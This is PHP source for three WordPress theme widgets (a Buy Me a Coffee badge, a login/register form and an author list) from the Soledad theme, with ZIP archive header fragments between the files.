		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$button_text = ! empty( $instance['button_text'] ) ? $instance['button_text'] : esc_html__( 'Buy Me a Coffee', 'soledad' );
			$username    = ! empty( $instance['username'] ) ? $instance['username'] : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			?>
            <div class="penci-buymeacoffee-badge-wrap">
                <a href="https://www.buymeacoffee.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank">
                    <svg data-v-fcca4322="" width="500" height="500" viewBox="0 0 25 35" fill="none"
                         xmlns="http://www.w3.org/2000/svg"><title><?php echo esc_html( $button_text ) ?></title>
                        <path d="M22.0672 8.1281L22.0437 8.11426L21.9893 8.09766C22.0112 8.11614 22.0386 8.12685 22.0672 8.1281Z"
                              fill="black"></path>
                        <path d="M22.4111 10.5781L22.3848 10.5855L22.4111 10.5781Z" fill="black"></path>
                        <path d="M22.0735 8.11128C22.0708 8.11093 22.0681 8.11029 22.0655 8.10938C22.0654 8.11115 22.0654 8.11293 22.0655 8.1147C22.0685 8.11432 22.0712 8.11313 22.0735 8.11128Z"
                              fill="black"></path>
                        <path d="M22.3877 10.5647L22.4274 10.5421L22.4421 10.5338L22.4555 10.5195C22.4303 10.5304 22.4074 10.5457 22.3877 10.5647Z"
                              fill="black"></path>
                        <path d="M22.1334 8.1762L22.0947 8.1393L22.0684 8.125C22.0825 8.14993 22.1058 8.16832 22.1334 8.1762Z"
                              fill="black"></path>
                        <path d="M12.3836 31.9453C12.3526 31.9587 12.3255 31.9796 12.3047 32.0062L12.3291 31.9905C12.3457 31.9753 12.3693 31.9573 12.3836 31.9453Z"
                              fill="black"></path>
                        <path d="M18.0497 30.8309C18.0497 30.7958 18.0326 30.8023 18.0368 30.9268C18.0368 30.9167 18.0409 30.9065 18.0428 30.8969C18.0451 30.8747 18.0469 30.853 18.0497 30.8309Z"
                              fill="black"></path>
                        <path d="M17.4617 31.9453C17.4307 31.9587 17.4036 31.9796 17.3828 32.0062L17.4073 31.9905C17.4239 31.9753 17.4474 31.9573 17.4617 31.9453Z"
                              fill="black"></path>
                        <path d="M8.39845 32.2145C8.37496 32.1941 8.34619 32.1807 8.31543 32.1758C8.34034 32.1878 8.36524 32.1998 8.38185 32.209L8.39845 32.2145Z"
                              fill="black"></path>
                        <path d="M7.50541 31.3533C7.50173 31.317 7.49058 31.2818 7.47266 31.25C7.48535 31.2831 7.49598 31.317 7.50448 31.3515L7.50541 31.3533Z"
                              fill="black"></path>
                        <path d="M13.5278 15.9814C12.2963 16.5086 10.8987 17.1064 9.08736 17.1064C8.32963 17.1048 7.57558 17.0009 6.8457 16.7973L8.09845 29.6592C8.14279 30.1968 8.38769 30.698 8.78452 31.0634C9.18134 31.4288 9.70106 31.6316 10.2405 31.6315C10.2405 31.6315 12.0167 31.7237 12.6094 31.7237C13.2474 31.7237 15.1601 31.6315 15.1601 31.6315C15.6995 31.6315 16.2191 31.4286 16.6158 31.0633C17.0125 30.6979 17.2574 30.1967 17.3017 29.6592L18.6435 15.4463C18.0439 15.2415 17.4387 15.1055 16.7565 15.1055C15.5767 15.105 14.626 15.5114 13.5278 15.9814Z"
                              fill="#FFDD00"></path>
                        <path d="M2.96582 10.5039L2.98704 10.5237L3.00088 10.532C2.99022 10.5215 2.97847 10.512 2.96582 10.5039Z"
                              fill="black"></path>
                        <path d="M24.4376 9.31226L24.249 8.36071C24.0797 7.50694 23.6955 6.70022 22.8191 6.39164C22.5382 6.29294 22.2195 6.2505 22.0041 6.04617C21.7887 5.84184 21.725 5.5245 21.6752 5.23023C21.583 4.6901 21.4963 4.14952 21.4017 3.61033C21.3201 3.14677 21.2555 2.62602 21.0428 2.20075C20.7661 1.62973 20.1918 1.29579 19.6208 1.07485C19.3282 0.965622 19.0296 0.873222 18.7265 0.798101C17.2998 0.421723 15.7999 0.283349 14.3322 0.204476C12.5705 0.107269 10.8042 0.136556 9.04673 0.292113C7.73863 0.411114 6.36089 0.555024 5.11783 1.00751C4.6635 1.1731 4.19533 1.37189 3.84986 1.7229C3.42597 2.15417 3.2876 2.82113 3.5971 3.35894C3.81711 3.74086 4.1898 4.01069 4.58509 4.18919C5.09997 4.41919 5.63769 4.5942 6.18931 4.71132C7.72526 5.0508 9.3161 5.1841 10.8853 5.24083C12.6245 5.31103 14.3665 5.25414 16.0974 5.07063C16.5254 5.02359 16.9527 4.96716 17.3792 4.90136C17.8815 4.82433 18.2039 4.16751 18.0558 3.70995C17.8787 3.16292 17.4027 2.95074 16.8644 3.0333C16.7851 3.04576 16.7062 3.05729 16.6269 3.06882L16.5697 3.07712C16.3873 3.10019 16.205 3.12171 16.0226 3.1417C15.646 3.18229 15.2683 3.2155 14.8898 3.24133C14.042 3.30037 13.192 3.32758 12.3423 3.32896C11.5075 3.32896 10.6722 3.30544 9.83916 3.25055C9.45909 3.22564 9.07994 3.19397 8.70172 3.15553C8.52967 3.13755 8.35809 3.11864 8.18651 3.09742L8.02322 3.07666L7.98771 3.07159L7.81843 3.04714C7.4725 2.99502 7.12656 2.93506 6.78431 2.86264C6.74978 2.85498 6.71889 2.83577 6.69675 2.80818C6.67461 2.78059 6.66254 2.74627 6.66254 2.71089C6.66254 2.67552 6.67461 2.6412 6.69675 2.61361C6.71889 2.58602 6.74978 2.5668 6.78431 2.55914H6.79077C7.08735 2.49595 7.38624 2.44199 7.68605 2.39494C7.78599 2.37926 7.88623 2.36388 7.98679 2.34881H7.98955C8.17728 2.33636 8.36593 2.30269 8.55274 2.28055C10.178 2.11149 11.813 2.05386 13.4461 2.10804C14.239 2.13111 15.0314 2.17769 15.8206 2.25795C15.9903 2.27548 16.1592 2.29393 16.328 2.31468C16.3926 2.32252 16.4576 2.33175 16.5226 2.33959L16.6536 2.3585C17.0355 2.41539 17.4154 2.48442 17.7934 2.5656C18.3533 2.68737 19.0724 2.72704 19.3215 3.3405C19.4008 3.53514 19.4368 3.75147 19.4806 3.9558L19.5364 4.2164C19.5379 4.22108 19.5389 4.22586 19.5396 4.2307C19.6716 4.8457 19.8036 5.46069 19.9359 6.07569C19.9455 6.12112 19.9458 6.16806 19.9365 6.21359C19.9273 6.25911 19.9087 6.30224 19.8821 6.34028C19.8554 6.37832 19.8212 6.41046 19.7816 6.4347C19.7419 6.45893 19.6977 6.47474 19.6517 6.48113H19.648L19.5673 6.4922L19.4875 6.50281C19.2348 6.53571 18.9817 6.56646 18.7283 6.59506C18.2292 6.65194 17.7294 6.70114 17.2288 6.74265C16.234 6.82537 15.2373 6.87965 14.2385 6.90548C13.7296 6.919 13.2209 6.92531 12.7123 6.92439C10.6878 6.92279 8.66519 6.80513 6.65424 6.57199C6.43653 6.54616 6.21883 6.51849 6.00112 6.49035C6.16993 6.51203 5.87843 6.47375 5.81939 6.46545C5.68101 6.44607 5.54264 6.42593 5.40426 6.40502C4.93979 6.33537 4.47808 6.24958 4.01453 6.1744C3.45411 6.08215 2.91814 6.12827 2.41123 6.40502C1.99513 6.63272 1.65836 6.98188 1.44584 7.40593C1.22721 7.85795 1.16217 8.3501 1.06439 8.8358C0.966604 9.32149 0.814392 9.84408 0.872048 10.3427C0.996123 11.4188 1.74842 12.2933 2.8305 12.4889C3.84848 12.6734 4.87198 12.8228 5.89826 12.9501C9.9297 13.4439 14.0025 13.5029 18.0466 13.1263C18.3759 13.0956 18.7048 13.062 19.0332 13.0258C19.1358 13.0145 19.2396 13.0263 19.337 13.0604C19.4344 13.0944 19.523 13.1498 19.5962 13.2225C19.6694 13.2952 19.7255 13.3834 19.7602 13.4805C19.795 13.5777 19.8075 13.6814 19.797 13.7841L19.6946 14.7794C19.4883 16.7908 19.282 18.802 19.0756 20.813C18.8604 22.9249 18.6437 25.0366 18.4257 27.1482C18.3642 27.7429 18.3027 28.3375 18.2412 28.9319C18.1822 29.5172 18.1739 30.121 18.0627 30.6994C17.8875 31.609 17.2717 32.1675 16.3732 32.3719C15.55 32.5592 14.7091 32.6575 13.8649 32.6652C12.929 32.6703 11.9936 32.6288 11.0578 32.6338C10.0587 32.6394 8.83502 32.5471 8.06381 31.8036C7.38624 31.1505 7.29261 30.1279 7.20036 29.2437C7.07736 28.073 6.95544 26.9025 6.83459 25.7322L6.15656 19.2245L5.71791 15.0137C5.71053 14.9441 5.70315 14.8754 5.69623 14.8053C5.64365 14.303 5.28803 13.8113 4.72761 13.8366C4.24792 13.8579 3.70272 14.2656 3.759 14.8053L4.08417 17.927L4.75667 24.3844C4.94824 26.2187 5.13935 28.0532 5.33 29.888C5.3669 30.2395 5.40149 30.5919 5.44024 30.9434C5.65103 32.864 7.11779 33.899 8.93419 34.1906C9.99506 34.3612 11.0818 34.3963 12.1583 34.4138C13.5384 34.4359 14.9322 34.489 16.2897 34.239C18.3012 33.87 19.8104 32.5268 20.0258 30.4434C20.0873 29.8419 20.1488 29.2403 20.2103 28.6385C20.4148 26.6484 20.619 24.6581 20.8228 22.6677L21.4898 16.1641L21.7956 13.1835C21.8108 13.0357 21.8733 12.8968 21.9736 12.7872C22.0739 12.6776 22.2069 12.6033 22.3528 12.5751C22.928 12.463 23.4778 12.2716 23.8869 11.8339C24.5382 11.137 24.6678 10.2283 24.4376 9.31226ZM2.80098 9.95524C2.80975 9.95109 2.7936 10.0263 2.78669 10.0613C2.7853 10.0083 2.78807 9.96124 2.80098 9.95524ZM2.8568 10.387C2.86141 10.3837 2.87524 10.4022 2.88954 10.4243C2.86786 10.404 2.85403 10.3888 2.85633 10.387H2.8568ZM2.91168 10.4594C2.93152 10.4931 2.94213 10.5143 2.91168 10.4594V10.4594ZM3.02192 10.5489H3.02469C3.02469 10.5521 3.02976 10.5553 3.03161 10.5586C3.02855 10.555 3.02515 10.5518 3.02146 10.5489H3.02192ZM22.326 10.4151C22.1194 10.6116 21.8081 10.7029 21.5004 10.7486C18.0503 11.2606 14.5499 11.5198 11.0619 11.4054C8.56565 11.3201 6.09567 11.0429 3.62431 10.6937C3.38215 10.6596 3.11971 10.6153 2.9532 10.4368C2.63955 10.1001 2.7936 9.42204 2.87524 9.01522C2.94997 8.64253 3.09295 8.14577 3.53621 8.09272C4.22808 8.01155 5.03158 8.30352 5.71607 8.4073C6.54016 8.53306 7.36733 8.63377 8.19758 8.70941C11.7409 9.03229 15.3437 8.98201 18.8713 8.50969C19.5143 8.42329 20.1549 8.32289 20.7933 8.2085C21.362 8.10656 21.9926 7.91515 22.3362 8.50416C22.5719 8.90544 22.6033 9.44233 22.5668 9.89574C22.5556 10.0933 22.4693 10.2791 22.3256 10.4151H22.326Z"
                              fill="black"></path>
                    </svg>
                </a>

				<?php
				if ( ! empty( $instance['secondary_text'] ) ) {
					echo '<h4>' . $instance['secondary_text'] . '</h4>';
				}
				?>

                <a href="https://www.buymeacoffee.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank" class="button">
                    <span><?php echo esc_html( $button_text ) ?></span>
                </a>
            </div>
			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'          => esc_html__( 'Buy Me a Coffee', 'soledad' ),
				'button_text'    => '',
				'secondary_text' => '',
				'username'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$title          = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$username       = isset( $instance['username'] ) ? $instance['username'] : '';
			$button_text    = isset( $instance['button_text'] ) ? $instance['button_text'] : '';
			$secondary_text = isset( $instance['secondary_text'] ) ? $instance['secondary_text'] : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $title ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Username', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $username ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"><?php esc_html_e( 'Button Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'button_text' ) ); ?>"
                       value="<?php echo esc_attr( $button_text ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"><?php esc_html_e( 'Secondary Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'secondary_text' ) ); ?>"
                       value="<?php echo esc_attr( $secondary_text ); ?>" class="widefat" type="text"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\,*  ,*  "  widgets/login_register_widgets.phpnu [        <?php
add_action( 'widgets_init', 'penci_login_register_load_widget' );

function penci_login_register_load_widget() {
	register_widget( 'Penci_Login_Register_Widget' );
}

if ( ! class_exists( 'Penci_Login_Register_Widget' ) ) {
	class Penci_Login_Register_Widget extends WP_Widget {

		protected $defaults;

		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_login_register_widget',
				'description' => esc_html__( 'A widget that displays a login or register widget', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_login_register_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_login_register_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Login/Register', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_login_register_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Login/Register', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title     = isset( $instance['title'] ) ? $instance['title'] : '';
			$title     = apply_filters( 'widget_title', $title );
			$form_type = isset( $instance['form_style'] ) ? $instance['form_style'] : '';

			if ( ! is_user_logged_in() || ( $form_type != 'register' && is_user_logged_in() ) ) {
				echo ent2ncr( $before_widget );
				if ( $title ) {
					echo( $before_title . $title . $after_title );
				}

				$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
				?>
                <div class="penci-login-register">
                    <div class="penci-block_content">
                        <div class="penci-login-wrap penci-user-login clearfix<?php echo( 'login' != $form_type ? ' hidden' : '' ); ?>">
							<?php
							if ( ! is_user_logged_in() ) {
								\Penci_Vc_Helper::_login_form();
							} else {
								$current_user = wp_get_current_user();
								?>
                                <div class="penci-user-logged-in">
                                    <div class="penci-login-header">
                                        <div class="penci-login-avatar">
											<?php echo get_avatar( $current_user->ID, 85 ); ?>
                                        </div>
                                        <p>
                                            <span class="penci-text-hello"><?php echo penci_get_setting( 'penci_trans_hello_text' ); ?></span>
                                            <span class="penci-display_name"><?php echo $current_user->display_name; ?></span>
                                        </p>
                                    </div>
                                    <div class="penci-user-action-links">
										<?php
										if ( class_exists( 'bbpress' ) ) {
											$profile_url = bbp_get_user_profile_url( bbp_get_current_user_id() );
										} else {
											$profile_url = get_edit_user_link();
										}
										?>
                                        <a class="penci-button penci-button-ptofile"
                                           href="<?php echo $profile_url; ?>"><?php penci_fawesome_icon( 'far fa-user-circle' ); ?><?php echo penci_get_setting( 'penci_trans_profile_text' ); ?></a>
                                        <a class="penci-button penci-button-logout"
                                           href="<?php echo wp_logout_url( $current_url ); ?>"><?php penci_fawesome_icon( 'fas fa-sign-out-alt' ); ?><?php echo penci_get_setting( 'penci_trans_logout_text' ); ?></a>
                                    </div>
                                </div>
								<?php
							}
							?>
                        </div>
						<?php if ( ! is_user_logged_in() && get_option( 'users_can_register' ) ) { ?>
                            <div class="penci-register-wrap clearfix<?php echo( 'register' != $form_type ? ' hidden' : '' ); ?>">
                                <div class="penci-register-container">
                                    <form name="form" id="penci-registration-form" class="penci-registration-form"
                                          action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>"
                                          method="post" novalidate="novalidate">
                                        <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                                               value="<?php echo wp_create_nonce( 'register' ); ?>">
                                        <p class="register-input">
                                            <input class="penci_first_name penci-input" name="penci_first_name"
                                                   type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_last_name penci-input" name="penci_last_name"
                                                   type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_name penci-input" name="penci_user_name"
                                                   type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_email penci-input" name="penci_user_email"
                                                   type="email"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_pass penci-input" name="penci_user_pass"
                                                   type="password"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_pass_confirm penci-input"
                                                   name="penci_user_pass_confirm" type="password"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
                                        </p>
										<?php do_action( 'register_form' ); ?>
                                        <p class="register-input">
                                            <input type="submit" name="penci_submit" class="button"
                                                   value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
                                        </p>
                                    </form>
									<?php
									echo '<div class="penci-loginform-extra"><a class="penci-user-login-here" href="' . esc_url( wp_login_url() ) . '">' . penci_get_setting( 'penci_pregister_label_registration' ) . '</a></div>';
									?>
                                </div>
                            </div>
						<?php } ?>
                        <div class="penci-loading-icon"><?php penci_fawesome_icon( 'fas fa-spinner fa-pulse fa-3x fa-fw' ); ?></div>
                    </div>
                </div>
				<?php

				echo ent2ncr( $after_widget );
			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'form_style' => 'login',
				'title'      => 'Login/Register'
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <!-- Widget Title: Text Input -->
            <p class="description"
               style="padding: 0; margin: 20px 0 0; font-size: 13px;"><?php _e( 'Please note that when a user is logged in, the registration form will be hidden.<br>And if you select to show "Register" form, you need to go to Dashboard > Settings > General > on "Membership" select "Anyone can register" to make the Register form displays.', 'soledad' ); ?></p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'form_style' ) ); ?>">Choose Form Type:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'form_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'form_style' ) ); ?>"
                        class="widefat categories" style="width:100%;">
                    <option value='login' <?php if ( 'login' == $instance['form_style'] ) {
						echo 'selected="selected"';
					} ?>>Login
                    </option>
                    <option value='register' <?php if ( 'register' == $instance['form_style'] ) {
						echo 'selected="selected"';
					} ?>>Register
                    </option>
                </select>
            </p>
			<?php
		}
	}
}
?>
PK     2w\m'  '    widgets/authors_list.phpnu [        <?php

add_action( 'widgets_init', 'penci_authors_list_load_widget' );

function penci_authors_list_load_widget() {
	register_widget( 'penci_authors_list_widget' );
}

if ( ! class_exists( 'penci_authors_list_widget' ) ) {
	class penci_authors_list_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_authors_list_widget',
				'description' => esc_html__( 'A widget that displays a list of site authors', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_authors_list_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_authors_list_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Author List', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_authors_list_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Author List', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$role__in    = isset( $instance['role__in'] ) && $instance['role__in'] ? $instance['role__in'] : 'administrator';
			$exclude     = isset( $instance['exclude'] ) && $instance['exclude'] ? $instance['exclude'] : '';
			$avatar      = isset( $instance['avatar'] ) && $instance['avatar'] ? $instance['avatar'] : '';
			$ava_bd      = isset( $instance['ava_bd'] ) && $instance['ava_bd'] ? $instance['ava_bd'] : '';
			$ava_size    = isset( $instance['ava_size'] ) && $instance['ava_size'] ? $instance['ava_size'] : 75;
			$total_posts = isset( $instance['total_posts'] ) && $instance['total_posts'] ? $instance['total_posts'] : '';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			$users_args = [];

			if ( $role__in !== 'all' ) {
				$users_args['role__in'] = explode( ',', $role__in );
			}
			if ( $exclude ) {
				$users_args['exclude'] = explode( ',', $exclude );
			}
			$users = get_users( $users_args );
			if ( $users ) {
				?>
                <div class="pc-widget-user-lists">
                    <ul>
						<?php foreach ( $users as $user ):
							$total_post = count_user_posts( $user->ID );
							$author_link = get_author_posts_url( $user->ID );
							$text = $total_post > 1 ? penci_get_setting( 'penci_trans_posts' ) : penci_get_setting( 'penci_trans_post' );
							?>
                            <li>
								<?php if ( $avatar ): ?>
                                    <a class="pc-uw-ava"
                                       href="<?php echo esc_url( $author_link ); ?>"><?php echo get_avatar( $user->ID, $ava_size ); ?></a>
								<?php endif; ?>
                                <div class="pc-uw-userinfo">
                                    <h4 class="name"><a
                                                href="<?php echo esc_url( $author_link ); ?>"><?php echo esc_attr( $user->display_name ); ?></a>
                                    </h4>
									<?php if ( $total_posts ): ?>
                                        <span class="count"><?php echo $total_post . ' ' . $text; ?></span>
									<?php endif; ?>
                                </div>
                            </li>
						<?php endforeach; ?>
                    </ul>
                </div>
				<?php
			}
			$styles = [
				'ava_bd'   => [
					'border-radius' => '#' . $this->id . ' .pc-widget-user-lists img'
				],
				'ava_size' => [
					'width' => '#' . $this->id . ' .pc-widget-user-lists .pc-uw-ava',
				]
			];

			$out = '';

			foreach ( $styles as $option => $selectors ) {
				$value = isset( $instance[ $option ] ) ? $instance[ $option ] : '';
				if ( $value ) {
					foreach ( $selectors as $prop => $selector ) {
						$prefix = in_array( $prop, [ 'width', 'height' ] ) ? 'px' : '';
						$out    .= $selector . '{' . $prop . ':' . $value . $prefix . '}';
					}
				}
			}

			if ( $out ) {
				echo '<style>' . $out . '</style>';
			}


			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance      = $old_instance;
			$data_instance = $this->soledad_widget_defaults();
			foreach ( $data_instance as $data => $value ) {


				if ( 'role__in' == $data ) {

					if ( ! empty( $new_instance['role__in'] ) ) {
						if ( is_array( $new_instance['role__in'] ) ) {
							$instance['role__in'] = implode( ',', $new_instance['role__in'] );
						} else {
							$instance['role__in'] = esc_sql( $new_instance['role__in'] );
						}
					} else {
						$instance['role__in'] = false;
					}
				} else {
					$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
				}
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Author Lists', 'soledad' ),
				'role__in'    => 'administrator',
				'exclude'     => '',
				'avatar'      => true,
				'total_posts' => true,
				'ava_bd'      => '',
				'ava_size'    => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$role__in       = isset( $instance['role__in'] ) ? explode( ',', $instance['role__in'] ) : [];
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'role__in' ) ); ?>"><?php esc_html_e( 'Include User Roles:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'role__in' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'role__in' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $role__in ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All User Roles', 'soledad' ); ?></option>
					<?php
					$wp_roles = new WP_Roles();
					if ( ! empty( $wp_roles ) ) {
						foreach ( $wp_roles->roles as $role_name => $role_info ) {
							?>
                            <option value='<?php echo esc_attr( $role_name ); ?>' <?php if ( in_array( $role_name, $role__in ) ) {
								echo 'selected="selected"';
							} ?>><?php echo sanitize_text_field( $role_info['name'] ); ?></option>
						<?php }
					} ?>
                </select>
                <span class="description"
                      style="padding-left: 0;"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple user roles.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php esc_html_e( 'Exclude User IDs (Separate by comma):', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>"
                       value="<?php echo $instance['exclude']; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"><?php esc_html_e( 'Show the user Avatar?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar' ) ); ?>" <?php checked( (bool) $instance['avatar'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'total_posts' ) ); ?>"><?php esc_html_e( 'Show the user posts count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'total_posts' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'total_posts' ) ); ?>" <?php checked( (bool) $instance['total_posts'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ava_size' ) ); ?>">Avatar Size (Numberis
                    only)</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ava_size' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ava_size' ) ); ?>"
                       value="<?php echo $instance['ava_size']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ava_bd' ) ); ?>">Avatar Border Radius (Example:
                    75px or 50%)</label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ava_bd' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ava_bd' ) ); ?>"
                       value="<?php echo $instance['ava_bd']; ?>">
            </p>

			<?php
		}
	}
}
?>
